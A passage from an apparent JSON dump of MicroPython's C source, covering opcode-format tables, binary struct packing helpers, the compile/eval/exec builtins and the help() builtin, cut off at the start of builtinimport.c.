encoded unsigned int\n#define O (MP_OPCODE_OFFSET) // single byte plus 2-byte bytecode offset\nSTATIC const byte opcode_format_table[64] = {\n    OC4(U, U, U, U), // 0x00-0x03\n    OC4(U, U, U, U), // 0x04-0x07\n    OC4(U, U, U, U), // 0x08-0x0b\n    OC4(U, U, U, U), // 0x0c-0x0f\n    OC4(B, B, B, U), // 0x10-0x13\n    OC4(V, U, Q, V), // 0x14-0x17\n    OC4(B, V, V, Q), // 0x18-0x1b\n    OC4(Q, Q, Q, Q), // 0x1c-0x1f\n    OC4(B, B, V, V), // 0x20-0x23\n    OC4(Q, Q, Q, B), // 0x24-0x27\n    OC4(V, V, Q, Q), // 0x28-0x2b\n    OC4(U, U, U, U), // 0x2c-0x2f\n    OC4(B, B, B, B), // 0x30-0x33\n    OC4(B, O, O, O), // 0x34-0x37\n    OC4(O, O, U, U), // 0x38-0x3b\n    OC4(U, O, B, O), // 0x3c-0x3f\n    OC4(O, B, B, O), // 0x40-0x43\n    OC4(B, B, O, U), // 0x44-0x47\n    OC4(U, U, U, U), // 0x48-0x4b\n    OC4(U, U, U, U), // 0x4c-0x4f\n    OC4(V, V, U, V), // 0x50-0x53\n    OC4(B, U, V, V), // 0x54-0x57\n    OC4(V, V, V, B), // 0x58-0x5b\n    OC4(B, B, B, U), // 0x5c-0x5f\n    OC4(V, V, V, V), // 0x60-0x63\n    OC4(V, V, V, V), // 0x64-0x67\n    OC4(Q, Q, B, U), // 0x68-0x6b\n    OC4(U, U, U, U), // 0x6c-0x6f\n\n    OC4(B, B, B, B), // 0x70-0x73\n    OC4(B, B, B, B), // 0x74-0x77\n    OC4(B, B, B, B), // 0x78-0x7b\n    OC4(B, B, B, B), // 0x7c-0x7f\n    OC4(B, B, B, B), // 0x80-0x83\n    OC4(B, B, B, B), // 0x84-0x87\n    OC4(B, B, B, B), // 0x88-0x8b\n    OC4(B, B, B, B), // 0x8c-0x8f\n    OC4(B, B, B, B), // 0x90-0x93\n    OC4(B, B, B, B), // 0x94-0x97\n    OC4(B, B, B, B), // 0x98-0x9b\n    OC4(B, B, B, B), // 0x9c-0x9f\n    OC4(B, B, B, B), // 0xa0-0xa3\n    OC4(B, B, B, B), // 0xa4-0xa7\n    OC4(B, B, B, B), // 0xa8-0xab\n    OC4(B, B, B, B), // 0xac-0xaf\n\n    OC4(B, B, B, B), // 0xb0-0xb3\n    OC4(B, B, B, B), // 0xb4-0xb7\n    OC4(B, B, B, B), // 0xb8-0xbb\n    OC4(B, B, B, B), // 0xbc-0xbf\n\n    OC4(B, B, B, B), // 0xc0-0xc3\n    OC4(B, B, B, B), // 0xc4-0xc7\n    OC4(B, B, B, B), // 0xc8-0xcb\n    OC4(B, B, B, B), // 0xcc-0xcf\n\n    OC4(B, B, B, B), // 0xd0-0xd3\n    OC4(B, B, B, B), // 0xd4-0xd7\n    OC4(B, B, B, B), // 0xd8-0xdb\n    OC4(B, B, B, B), // 0xdc-0xdf\n\n    OC4(B, B, B, B), // 0xe0-0xe3\n    OC4(B, B, B, B), // 0xe4-0xe7\n    OC4(B, B, B, B), // 0xe8-0xeb\n    OC4(B, B, B, B), // 0xec-0xef\n\n    OC4(B, B, B, B), // 0xf0-0xf3\n    OC4(B, B, B, B), // 0xf4-0xf7\n    OC4(B, B, B, U), // 0xf8-0xfb\n    OC4(U, U, U, U), // 0xfc-0xff\n};\n#undef OC4\n#undef U\n#undef B\n#undef Q\n#undef V\n#undef O\n\nuint mp_opcode_format(const byte *ip, size_t *opcode_size) {\n    uint f = (opcode_format_table[*ip >> 2] >> (2 * (*ip & 3))) & 3;\n    const byte *ip_start = ip;\n    if (f == MP_OPCODE_QSTR) {\n        ip += 3;\n    } else {\n        int extra_byte = (\n            *ip == MP_BC_RAISE_VARARGS\n            || *ip == MP_BC_MAKE_CLOSURE\n            || *ip == MP_BC_MAKE_CLOSURE_DEFARGS\n            #if MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE\n            || *ip == MP_BC_LOAD_NAME\n            || *ip == MP_BC_LOAD_GLOBAL\n            || *ip == MP_BC_LOAD_ATTR\n            || *ip == MP_BC_STORE_ATTR\n            #endif\n        );\n        ip += 1;\n        if (f == MP_OPCODE_VAR_UINT) {\n            while ((*ip++ & 0x80) != 0) {\n            }\n        } else if (f == MP_OPCODE_OFFSET) {\n            ip += 2;\n        }\n        ip += extra_byte;\n    }\n    *opcode_size = ip - ip_start;\n    return f;\n}\n\n#endif // MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE\n"
  },
  {
    "path": "micropython/source/py/binary.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <stddef.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/binary.h\"\n#include \"py/smallint.h\"\n#include \"py/objint.h\"\n#include \"py/runtime.h\"\n\n// Helpers to work with binary-encoded data\n\n#ifndef alignof\n#define alignof(type) offsetof(struct { char c; type t; }, t)\n#endif\n\nsize_t mp_binary_get_size(char struct_type, char val_type, mp_uint_t *palign) {\n    size_t size = 0;\n    int align = 1;\n    switch (struct_type) {\n        case '<': case '>':\n            switch (val_type) {\n                case 'b': case 'B':\n                    size = 1; break;\n                case 'h': case 'H':\n                    size = 2; break;\n                case 'i': case 'I':\n                    size = 4; break;\n                case 'l': case 'L':\n                    size = 4; break;\n                case 'q': case 'Q':\n                    size = 8; break;\n                case 'P': case 'O': case 'S':\n                    size = sizeof(void*); break;\n                case 'f':\n                    size = sizeof(float); break;\n                case 'd':\n                    size = sizeof(double); break;\n            }\n            break;\n        case '@': {\n            // TODO:\n            // The simplest heuristic for alignment is to align by value\n            // size, but that doesn't work for \"bigger than int\" types,\n            // for example, long long may very well have long alignment\n            // So, we introduce separate alignment handling, but having\n            // formal support for that is different from actually supporting\n            // particular (or any) ABI.\n            switch (val_type) {\n                case BYTEARRAY_TYPECODE:\n                case 'b': case 'B':\n                    align = size = 1; break;\n                case 'h': case 'H':\n                    align = alignof(short);\n                    size = sizeof(short); break;\n                case 'i': case 'I':\n                    align = alignof(int);\n                    size = sizeof(int); break;\n                case 'l': case 'L':\n                    align = alignof(long);\n                    size = sizeof(long); break;\n                case 'q': case 'Q':\n                    align = alignof(long long);\n                    size = sizeof(long long); break;\n                case 'P': case 'O': case 'S':\n                    align = alignof(void*);\n                    size = sizeof(void*); break;\n                case 'f':\n                    align = alignof(float);\n                    size = sizeof(float); break;\n                case 'd':\n                    align = alignof(double);\n                    size = sizeof(double); break;\n            }\n        }\n    }\n\n    if (size == 0) {\n        mp_raise_ValueError(\"bad typecode\");\n    }\n\n    if (palign != NULL) {\n        *palign = align;\n    }\n    return size;\n}\n\nmp_obj_t mp_binary_get_val_array(char typecode, void *p, mp_uint_t index) {\n    mp_int_t val = 0;\n    switch (typecode) {\n        case 'b':\n            val = ((signed char*)p)[index];\n            break;\n        case BYTEARRAY_TYPECODE:\n        case 'B':\n            val = ((unsigned char*)p)[index];\n            break;\n        case 'h':\n            val = ((short*)p)[index];\n            break;\n        case 'H':\n            val = ((unsigned short*)p)[index];\n            break;\n        case 'i':\n            return mp_obj_new_int(((int*)p)[index]);\n        case 'I':\n            return mp_obj_new_int_from_uint(((unsigned int*)p)[index]);\n        case 'l':\n            return mp_obj_new_int(((long*)p)[index]);\n        case 'L':\n            return mp_obj_new_int_from_uint(((unsigned long*)p)[index]);\n        #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n        case 'q':\n            return mp_obj_new_int_from_ll(((long long*)p)[index]);\n        case 'Q':\n            return mp_obj_new_int_from_ull(((unsigned long long*)p)[index]);\n        #endif\n#if MICROPY_PY_BUILTINS_FLOAT\n        case 'f':\n            return mp_obj_new_float(((float*)p)[index]);\n        case 'd':\n            return mp_obj_new_float(((double*)p)[index]);\n#endif\n        // Extension to CPython: array of objects\n        case 'O':\n            return ((mp_obj_t*)p)[index];\n        // Extension to CPython: array of pointers\n        case 'P':\n            return mp_obj_new_int((mp_int_t)(uintptr_t)((void**)p)[index]);\n    }\n    return MP_OBJ_NEW_SMALL_INT(val);\n}\n\n// The long long type is guaranteed to hold at least 64 bits, and size is at\n// most 8 (for q and Q), so we will always be able to parse the given data\n// and fit it into a long long.\nlong long mp_binary_get_int(mp_uint_t size, bool is_signed, bool big_endian, const byte *src) {\n    int delta;\n    if (!big_endian) {\n        delta = -1;\n        src += size - 1;\n    } else {\n        delta = 1;\n    }\n\n    long long val = 0;\n    if (is_signed && *src & 0x80) {\n        val = -1;\n    }\n    for (uint i = 0; i < size; i++) {\n        val <<= 8;\n        val |= *src;\n        src += delta;\n    }\n\n    return val;\n}\n\n#define is_signed(typecode) (typecode > 'Z')\nmp_obj_t mp_binary_get_val(char struct_type, char val_type, byte **ptr) {\n    byte *p = *ptr;\n    mp_uint_t align;\n\n    size_t size = mp_binary_get_size(struct_type, val_type, &align);\n    if (struct_type == '@') {\n        // Make pointer aligned\n        p = (byte*)MP_ALIGN(p, (size_t)align);\n        #if MP_ENDIANNESS_LITTLE\n        struct_type = '<';\n        #else\n        struct_type = '>';\n        #endif\n    }\n    *ptr = p + size;\n\n    long long val = mp_binary_get_int(size, is_signed(val_type), (struct_type == '>'), p);\n\n    if (val_type == 'O') {\n        return (mp_obj_t)(mp_uint_t)val;\n    } else if (val_type == 'S') {\n        const char *s_val = (const char*)(uintptr_t)(mp_uint_t)val;\n        return mp_obj_new_str(s_val, strlen(s_val), false);\n#if MICROPY_PY_BUILTINS_FLOAT\n    } else if (val_type == 'f') {\n        union { uint32_t i; float f; } fpu = {val};\n        return mp_obj_new_float(fpu.f);\n    } else if (val_type == 'd') {\n        union { uint64_t i; double f; } fpu = {val};\n        return mp_obj_new_float(fpu.f);\n#endif\n    } else if (is_signed(val_type)) {\n        if ((long long)MP_SMALL_INT_MIN <= val && val <= (long long)MP_SMALL_INT_MAX) {\n            return mp_obj_new_int((mp_int_t)val);\n        } else {\n            return mp_obj_new_int_from_ll(val);\n        }\n    } else {\n        if ((unsigned long long)val <= (unsigned long long)MP_SMALL_INT_MAX) {\n            return mp_obj_new_int_from_uint((mp_uint_t)val);\n        } else {\n            return mp_obj_new_int_from_ull(val);\n        }\n    }\n}\n\nvoid mp_binary_set_int(mp_uint_t val_sz, bool big_endian, byte *dest, mp_uint_t val) {\n    if (MP_ENDIANNESS_LITTLE && !big_endian) {\n        memcpy(dest, &val, val_sz);\n    } else if (MP_ENDIANNESS_BIG && big_endian) {\n        // only copy the least-significant val_sz bytes\n        memcpy(dest, (byte*)&val + sizeof(mp_uint_t) - val_sz, val_sz);\n    } else {\n        const byte *src;\n        if (MP_ENDIANNESS_LITTLE) {\n            src = (const byte*)&val + val_sz;\n        } else {\n            src = (const byte*)&val + sizeof(mp_uint_t);\n        }\n        while (val_sz--) {\n            *dest++ = *--src;\n        }\n    }\n}\n\nvoid mp_binary_set_val(char struct_type, char val_type, mp_obj_t val_in, byte **ptr) {\n    byte *p = *ptr;\n    mp_uint_t align;\n\n    size_t size = mp_binary_get_size(struct_type, val_type, &align);\n    if (struct_type == '@') {\n        // Make pointer aligned\n        p = (byte*)MP_ALIGN(p, (size_t)align);\n        if (MP_ENDIANNESS_LITTLE) {\n            struct_type = '<';\n        } else {\n            struct_type = '>';\n        }\n    }\n    *ptr = p + size;\n\n    mp_uint_t val;\n    switch (val_type) {\n        case 'O':\n            val = (mp_uint_t)val_in;\n            break;\n#if MICROPY_PY_BUILTINS_FLOAT\n        case 'f': {\n            union { uint32_t i; float f; } fp_sp;\n            fp_sp.f = mp_obj_get_float(val_in);\n            val = fp_sp.i;\n            break;\n        }\n        case 'd': {\n            union { uint64_t i64; uint32_t i32[2]; double f; } fp_dp;\n            fp_dp.f = mp_obj_get_float(val_in);\n            if (BYTES_PER_WORD == 8) {\n                val = fp_dp.i64;\n            } else {\n                int be = struct_type == '>';\n                mp_binary_set_int(sizeof(uint32_t), be, p, fp_dp.i32[MP_ENDIANNESS_BIG ^ be]);\n                p += sizeof(uint32_t);\n                val = fp_dp.i32[MP_ENDIANNESS_LITTLE ^ be];\n            }\n            break;\n        }\n#endif\n        default:\n            #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n            if (MP_OBJ_IS_TYPE(val_in, &mp_type_int)) {\n                mp_obj_int_to_bytes_impl(val_in, struct_type == '>', size, p);\n                return;\n            } else\n            #endif\n            {\n                val = mp_obj_get_int(val_in);\n                // zero/sign extend if needed\n                if (BYTES_PER_WORD < 8 && size > sizeof(val)) {\n                    int c = (is_signed(val_type) && (mp_int_t)val < 0) ? 0xff : 0x00;\n                    memset(p, c, size);\n                    if (struct_type == '>') {\n                        p += size - sizeof(val);\n                    }\n                }\n            }\n    }\n\n    mp_binary_set_int(MIN((size_t)size, sizeof(val)), struct_type == '>', p, val);\n}\n\nvoid mp_binary_set_val_array(char typecode, void *p, mp_uint_t index, mp_obj_t val_in) {\n    switch (typecode) {\n#if MICROPY_PY_BUILTINS_FLOAT\n        case 'f':\n            ((float*)p)[index] = mp_obj_get_float(val_in);\n            break;\n        case 'd':\n            ((double*)p)[index] = mp_obj_get_float(val_in);\n            break;\n#endif\n        // Extension to CPython: array of objects\n        case 'O':\n            ((mp_obj_t*)p)[index] = val_in;\n            break;\n        default:\n            #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n            if (MP_OBJ_IS_TYPE(val_in, &mp_type_int)) {\n                size_t size = mp_binary_get_size('@', typecode, NULL);\n                mp_obj_int_to_bytes_impl(val_in, MP_ENDIANNESS_BIG,\n                    size, (uint8_t*)p + index * size);\n                return;\n            }\n            #endif\n            mp_binary_set_val_array_from_int(typecode, p, index, mp_obj_get_int(val_in));\n    }\n}\n\nvoid mp_binary_set_val_array_from_int(char typecode, void *p, mp_uint_t index, mp_int_t val) {\n    switch (typecode) {\n        case 'b':\n            ((signed char*)p)[index] = val;\n            break;\n        case BYTEARRAY_TYPECODE:\n        case 'B':\n            ((unsigned char*)p)[index] = val;\n            break;\n        case 'h':\n            ((short*)p)[index] = val;\n            break;\n        case 'H':\n            ((unsigned short*)p)[index] = val;\n            break;\n        case 'i':\n            ((int*)p)[index] = val;\n            break;\n        case 'I':\n            ((unsigned int*)p)[index] = val;\n            break;\n        case 'l':\n            ((long*)p)[index] = val;\n            break;\n        case 'L':\n            ((unsigned long*)p)[index] = val;\n            break;\n        #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n        case 'q':\n            ((long long*)p)[index] = val;\n            break;\n        case 'Q':\n            ((unsigned long long*)p)[index] = val;\n            break;\n        #endif\n#if MICROPY_PY_BUILTINS_FLOAT\n        case 'f':\n            ((float*)p)[index] = val;\n            break;\n        case 'd':\n            ((double*)p)[index] = val;\n            break;\n#endif\n        // Extension to CPython: array of pointers\n        case 'P':\n            ((void**)p)[index] = (void*)(uintptr_t)val;\n            break;\n    }\n}\n"
  },
  {
    "path": "micropython/source/py/builtinevex.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n\n#include \"py/nlr.h\"\n#include \"py/objfun.h\"\n#include \"py/compile.h\"\n#include \"py/runtime.h\"\n#include \"py/builtin.h\"\n\n#if MICROPY_PY_BUILTINS_COMPILE\n\ntypedef struct _mp_obj_code_t {\n    mp_obj_base_t base;\n    mp_obj_t module_fun;\n} mp_obj_code_t;\n\nSTATIC const mp_obj_type_t mp_type_code = {\n    { &mp_type_type },\n    .name = MP_QSTR_code,\n};\n\nSTATIC mp_obj_t code_execute(mp_obj_code_t *self, mp_obj_dict_t *globals, mp_obj_dict_t *locals) {\n    // save context and set new context\n    mp_obj_dict_t *old_globals = mp_globals_get();\n    mp_obj_dict_t *old_locals = mp_locals_get();\n    mp_globals_set(globals);\n    mp_locals_set(locals);\n\n    // a bit of a hack: fun_bc will re-set globals, so need to make sure it's\n    // the correct one\n    if (MP_OBJ_IS_TYPE(self->module_fun, &mp_type_fun_bc)) {\n        mp_obj_fun_bc_t *fun_bc = MP_OBJ_TO_PTR(self->module_fun);\n        fun_bc->globals = globals;\n    }\n\n    // execute code\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        mp_obj_t ret = mp_call_function_0(self->module_fun);\n        nlr_pop();\n        mp_globals_set(old_globals);\n        mp_locals_set(old_locals);\n        return ret;\n    } else {\n        // exception; restore context and re-raise same exception\n        mp_globals_set(old_globals);\n        mp_locals_set(old_locals);\n        nlr_jump(nlr.ret_val);\n    }\n}\n\nSTATIC mp_obj_t mp_builtin_compile(size_t n_args, const mp_obj_t *args) {\n    (void)n_args;\n\n    // get the source\n    size_t str_len;\n    const char *str = mp_obj_str_get_data(args[0], &str_len);\n\n    // get the filename\n    qstr filename = mp_obj_str_get_qstr(args[1]);\n\n    // create the lexer\n    mp_lexer_t *lex = mp_lexer_new_from_str_len(filename, str, str_len, 0);\n\n    // get the compile mode\n    qstr mode = mp_obj_str_get_qstr(args[2]);\n    mp_parse_input_kind_t parse_input_kind;\n    switch (mode) {\n        case MP_QSTR_single: parse_input_kind = MP_PARSE_SINGLE_INPUT; break;\n        case MP_QSTR_exec: parse_input_kind = MP_PARSE_FILE_INPUT; break;\n        case MP_QSTR_eval: parse_input_kind = MP_PARSE_EVAL_INPUT; break;\n        default:\n            mp_raise_ValueError(\"bad compile mode\");\n    }\n\n    mp_obj_code_t *code = m_new_obj(mp_obj_code_t);\n    code->base.type = &mp_type_code;\n    code->module_fun = mp_parse_compile_execute(lex, parse_input_kind, NULL, NULL);\n    return MP_OBJ_FROM_PTR(code);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_compile_obj, 3, 6, mp_builtin_compile);\n\n#endif // MICROPY_PY_BUILTINS_COMPILE\n\n#if MICROPY_PY_BUILTINS_EVAL_EXEC\n\nSTATIC mp_obj_t eval_exec_helper(size_t n_args, const mp_obj_t *args, mp_parse_input_kind_t parse_input_kind) {\n    // work out the context\n    mp_obj_dict_t *globals = mp_globals_get();\n    mp_obj_dict_t *locals = mp_locals_get();\n    for (size_t i = 1; i < 3 && i < n_args; ++i) {\n        if (args[i] != mp_const_none) {\n            if (!MP_OBJ_IS_TYPE(args[i], &mp_type_dict)) {\n                mp_raise_TypeError(NULL);\n            }\n            locals = MP_OBJ_TO_PTR(args[i]);\n            if (i == 1) {\n                globals = locals;\n            }\n        }\n    }\n\n    #if MICROPY_PY_BUILTINS_COMPILE\n    if (MP_OBJ_IS_TYPE(args[0], &mp_type_code)) {\n        return code_execute(MP_OBJ_TO_PTR(args[0]), globals, locals);\n    }\n    #endif\n\n    size_t str_len;\n    const char *str = mp_obj_str_get_data(args[0], &str_len);\n\n    // create the lexer\n    // MP_PARSE_SINGLE_INPUT is used to indicate a file input\n    mp_lexer_t *lex;\n    if (MICROPY_PY_BUILTINS_EXECFILE && parse_input_kind == MP_PARSE_SINGLE_INPUT) {\n        lex = mp_lexer_new_from_file(str);\n        parse_input_kind = MP_PARSE_FILE_INPUT;\n    } else {\n        lex = mp_lexer_new_from_str_len(MP_QSTR__lt_string_gt_, str, str_len, 0);\n    }\n\n    return mp_parse_compile_execute(lex, parse_input_kind, globals, locals);\n}\n\nSTATIC mp_obj_t mp_builtin_eval(size_t n_args, const mp_obj_t *args) {\n    return eval_exec_helper(n_args, args, MP_PARSE_EVAL_INPUT);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_eval_obj, 1, 3, mp_builtin_eval);\n\nSTATIC mp_obj_t mp_builtin_exec(size_t n_args, const mp_obj_t *args) {\n    return eval_exec_helper(n_args, args, MP_PARSE_FILE_INPUT);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_exec_obj, 1, 3, mp_builtin_exec);\n\n#endif // MICROPY_PY_BUILTINS_EVAL_EXEC\n\n#if MICROPY_PY_BUILTINS_EXECFILE\nSTATIC mp_obj_t mp_builtin_execfile(size_t n_args, const mp_obj_t *args) {\n    // MP_PARSE_SINGLE_INPUT is used to indicate a file input\n    return eval_exec_helper(n_args, args, MP_PARSE_SINGLE_INPUT);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_execfile_obj, 1, 3, mp_builtin_execfile);\n#endif\n"
  },
  {
    "path": "micropython/source/py/builtinhelp.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"py/builtin.h\"\n#include \"py/objmodule.h\"\n\n#if MICROPY_PY_BUILTINS_HELP\n\nconst char *mp_help_default_text =\n\"Welcome to MicroPython!\\n\"\n\"\\n\"\n\"For online docs please visit http://docs.micropython.org/\\n\"\n\"\\n\"\n\"Control commands:\\n\"\n\"  CTRL-A        -- on a blank line, enter raw REPL mode\\n\"\n\"  CTRL-B        -- on a blank line, enter normal REPL mode\\n\"\n\"  CTRL-C        -- interrupt a running program\\n\"\n\"  CTRL-D        -- on a blank line, exit or do a soft reset\\n\"\n\"  CTRL-E        -- on a blank line, enter paste mode\\n\"\n\"\\n\"\n\"For further help on a specific object, type help(obj)\\n\"\n;\n\nSTATIC void mp_help_print_info_about_object(mp_obj_t name_o, mp_obj_t value) {\n    mp_print_str(MP_PYTHON_PRINTER, \"  \");\n    mp_obj_print(name_o, PRINT_STR);\n    mp_print_str(MP_PYTHON_PRINTER, \" -- \");\n    mp_obj_print(value, PRINT_STR);\n    mp_print_str(MP_PYTHON_PRINTER, \"\\n\");\n}\n\n#if MICROPY_PY_BUILTINS_HELP_MODULES\nSTATIC void mp_help_add_from_map(mp_obj_t list, const mp_map_t *map) {\n    for (size_t i = 0; i < map->alloc; i++) {\n        if (MP_MAP_SLOT_IS_FILLED(map, i)) {\n            mp_obj_list_append(list, map->table[i].key);\n        }\n    }\n}\n\n#if MICROPY_MODULE_FROZEN\nSTATIC void mp_help_add_from_names(mp_obj_t list, const char *name) {\n    while (*name) {\n        size_t l = strlen(name);\n        // name should end in '.py' and we strip it off\n        mp_obj_list_append(list, mp_obj_new_str(name, l - 3, false));\n        name += l + 1;\n    }\n}\n#endif\n\nSTATIC void mp_help_print_modules(void) {\n    mp_obj_t list = mp_obj_new_list(0, NULL);\n\n    mp_help_add_from_map(list, &mp_builtin_module_map);\n\n    #if MICROPY_MODULE_WEAK_LINKS\n    mp_help_add_from_map(list, &mp_builtin_module_weak_links_map);\n    #endif\n\n    #if MICROPY_MODULE_FROZEN_STR\n    extern const char mp_frozen_str_names[];\n    mp_help_add_from_names(list, mp_frozen_str_names);\n    #endif\n\n    #if MICROPY_MODULE_FROZEN_MPY\n    extern const char mp_frozen_mpy_names[];\n    mp_help_add_from_names(list, mp_frozen_mpy_names);\n    #endif\n\n    // sort the list so it's printed in alphabetical order\n    mp_obj_list_sort(1, &list, (mp_map_t*)&mp_const_empty_map);\n\n    // print the list of modules in a column-first order\n    #define NUM_COLUMNS (4)\n    #define COLUMN_WIDTH (18)\n    mp_uint_t len;\n    mp_obj_t *items;\n    mp_obj_list_get(list, &len, &items);\n    unsigned int num_rows = (len + NUM_COLUMNS - 1) / NUM_COLUMNS;\n    for (unsigned int i = 0; i < num_rows; ++i) {\n        unsigned int j = i;\n        for (;;) {\n            int l = mp_print_str(MP_PYTHON_PRINTER, mp_obj_str_get_str(items[j]));\n            j += num_rows;\n            if (j >= len) {\n                break;\n            }\n            int gap = COLUMN_WIDTH - l;\n            while (gap < 1) {\n                gap += COLUMN_WIDTH;\n            }\n            while (gap--) {\n                mp_print_str(MP_PYTHON_PRINTER, \" \");\n            }\n        }\n        mp_print_str(MP_PYTHON_PRINTER, \"\\n\");\n    }\n\n    // let the user know there may be other modules available from the filesystem\n    mp_print_str(MP_PYTHON_PRINTER, \"Plus any modules on the filesystem\\n\");\n}\n#endif\n\nSTATIC void mp_help_print_obj(mp_obj_t obj) {\n    #if MICROPY_PY_BUILTINS_HELP_MODULES\n    if (obj == MP_OBJ_NEW_QSTR(MP_QSTR_modules)) {\n        mp_help_print_modules();\n        return;\n    }\n    #endif\n\n    // Extract method from bound method, for better error messages\n    if (mp_obj_get_type(obj)->name == MP_QSTR_bound_method) {\n        obj = ((mp_obj_t*)obj)[1]; // extract method\n    }\n\n    // Hook into platform-specific help for this object\n    extern bool mp_plat_specific_help(mp_obj_t obj);\n    if (mp_plat_specific_help(obj)) {\n        return;\n    }\n\n    // try to print something sensible about the given object\n    mp_print_str(MP_PYTHON_PRINTER, \"object \");\n    mp_obj_print(obj, PRINT_STR);\n    mp_printf(MP_PYTHON_PRINTER, \" is of type %s\\n\", mp_obj_get_type_str(obj));\n\n    mp_map_t *map = NULL;\n    if (MP_OBJ_IS_TYPE(obj, &mp_type_module)) {\n        map = mp_obj_dict_get_map(mp_obj_module_get_globals(obj));\n    } else {\n        mp_obj_type_t *type;\n        if (MP_OBJ_IS_TYPE(obj, &mp_type_type)) {\n            type = obj;\n        } else {\n            type = mp_obj_get_type(obj);\n        }\n        if (type->locals_dict != MP_OBJ_NULL && MP_OBJ_IS_TYPE(type->locals_dict, &mp_type_dict)) {\n            map = mp_obj_dict_get_map(type->locals_dict);\n        }\n    }\n    if (map != NULL) {\n        for (uint i = 0; i < map->alloc; i++) {\n            if (map->table[i].key != MP_OBJ_NULL) {\n                mp_help_print_info_about_object(map->table[i].key, map->table[i].value);\n            }\n        }\n    }\n}\n\nSTATIC mp_obj_t mp_builtin_help(size_t n_args, const mp_obj_t *args) {\n    if (n_args == 0) {\n        // print a general help message\n        mp_print_str(MP_PYTHON_PRINTER, MICROPY_PY_BUILTINS_HELP_TEXT);\n    } else {\n        // try to print something sensible about the given object\n        mp_help_print_obj(args[0]);\n    }\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_help_obj, 0, 1, mp_builtin_help);\n\n#endif // MICROPY_PY_BUILTINS_HELP\n"
  },
  {
    "path": "micropython/source/py/builtinimport.c",
